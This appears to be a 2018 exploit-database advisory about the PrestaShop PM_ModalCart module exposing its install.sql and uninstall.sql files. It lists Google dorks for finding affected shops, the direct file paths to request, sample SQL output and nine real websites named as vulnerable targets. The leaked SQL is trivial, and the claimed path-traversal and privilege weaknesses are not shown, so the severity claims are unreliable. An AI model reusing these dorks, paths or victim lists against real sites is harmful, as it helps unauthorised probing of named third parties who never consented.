PrestaShop PM_ModalCart 1.6.1.4 Database Disclosure

`#################################################################################################  
  
# Exploit Title : PrestaShop PM_ModalCart 1.6.1.4 Database Disclosure  
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security  
Army  
# Date : 24/12/2018  
# Vendor Homepage : prestashop.com  
# Software Download Link :  
addons.prestashop.com/ru/pop-up/2438-modal-cart-3.html  
+  
prestashop.com/forums/topic/102385-module-pm-cross-selling-on-cart-est-maintenant-compatible-avec-modalcart/  
# Software Price : 40$  
# Tested On : Windows and Linux  
# Category : WebApps  
# Version Information : 1.5.0.14 - 1.4.5.1 - 1.4.7.0 - 1.4.7.3 - 1.4.8.2 -  
1.6.1.4A+-  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/modules/pm_modalcart/''  
intext:''A(c)2018 Recettes & Cabas | Tous droits rA(c)servA(c)s''  
intext:''Agence de communication - Une rA(c)alisation Communikey''  
intext:''cron module by samdha.net''  
intext:''A(c) 2018 - Udviklet og Hosted af Netgiganten.dk''  
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access  
Controls ]  
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]  
  
#################################################################################################  
  
# Exploit :  
  
/modules/pm_modalcart/install.sql  
  
/modules/pm_modalcart/uninstall.sql  
  
#################################################################################################  
  
# Example SQL Database Information Exposure =>  
  
install.sql =>  
  
INSERT INTO `PREFIX_hook` (`name`, `title`, `description`, `position`)  
VALUES ('MCAbove',  
'Modalcart above', 'On modal, above the product added to cart', 1);  
INSERT INTO `PREFIX_hook` (`name`, `title`, `description`, `position`)  
VALUES ('MCBelow',  
'Modalcart below', 'On modal, below the product added to cart', 1);  
  
uninstall.sql  
  
DELETE FROM `PREFIX_hook` WHERE `name` = 'MCAbove';  
DELETE FROM `PREFIX_hook` WHERE `name` = 'MCBelow';  
  
#################################################################################################  
  
# Example Vulnerable Sites =>  
  
[+] recettesetcabas.com/modules/pm_modalcart/install.sql  
  
[+] boutique-solidaire.com/modules/pm_modalcart/install.sql  
  
[+] voeux-solidaires.com/modules/pm_modalcart/uninstall.sql  
  
[+] kakicrazy.fr/modules/pm_modalcart/install.sql  
  
[+] visuashop.fr/modules/pm_modalcart/install.sql  
  
[+] sac-promo-pas-cher.com/modules/pm_modalcart/install.sql  
  
[+] km-justering.dk/modules/pm_modalcart/install.sql  
  
[+] securedirect.dk/modules/pm_modalcart/install.sql  
  
[+] griffin.ch/modules/pm_modalcart/uninstall.sql  
  
#################################################################################################  
  
# Discovered By Hacker KingSkrupellos from Cyberizm.Org Digital Security  
Team  
  
#################################################################################################  
`